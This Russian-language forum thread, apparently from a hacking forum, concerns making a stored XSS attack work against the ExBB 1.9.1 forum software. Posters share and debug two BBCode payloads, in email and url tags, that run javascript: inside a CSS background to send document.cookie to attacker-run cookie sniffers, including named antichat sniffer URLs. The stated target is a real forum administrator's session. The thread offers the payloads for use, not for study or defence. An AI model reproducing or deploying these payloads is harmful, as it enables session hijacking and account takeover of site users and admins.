Вопрос по применению XSS на форуме ExBB 1.9.1

[TweakeR]

Пробывал:

[ email]'style='display:none;background:url(javascript:doc ument.images[2].src="http://you_sniffer_url/sniffer.php?"+document.cookie)[/email

Админ прочитал а не чё не шлёт!
Что можно придумать подскажите? :D

[tclover]

http://you_sniffer_url/sniffer.php а чё так и оставил?

[Vovec]

А что тебе админ должен прислать=)
Куки должны были тебе слиться, на сниффер который ты указал, если ты это сделал... Только убери пробел между doc и ument и в конце поставь ] ну и конешно путь к сниферу например античатовскому "http://antichat.ru/cgi-bin/s.jpg" Если будет работать то тебе должны будут первыми прийти твои куки если ты там зареген...

[A110ut]

лол :) бывает и такое)
короче вот еще один. используется также как и твой

[*url]http:/*/sasa'style=background:url("javascript:document.images[0].src='http://antichat.org/s/ТВАЙ_СНИФАК.gif?'+document.cookie");lol:'sa[*/url]

зы: * * * убери

[TweakeR]

Trampled_clover нет конечно снифер подставил и все пробелы убрал!

[Inferno]

Trampled_clover нет конечно снифер подставил и все пробелы убрал!
А скобку не закрыл?

[Tem]

А может у него не ОСЛИК ? поэтому не шлёт .Если я не ошибаюсь этот XSS только для ИЕ браузера.

[podkashey]

ггыгыгы.... У меня 2 варианта ответа:
1)А может у него не ОСЛИК согласен с этим (Ослик - интернет эксплорер).
2) Админ умный и форум пропатчен.

[Electro]

Админ прочитал а не чё не шлёт!
Что можно придумать подскажите? :D
Покажи как выглядит результат скрипта в HTML

[milord69]

В 7 ИЕ куки не тырятся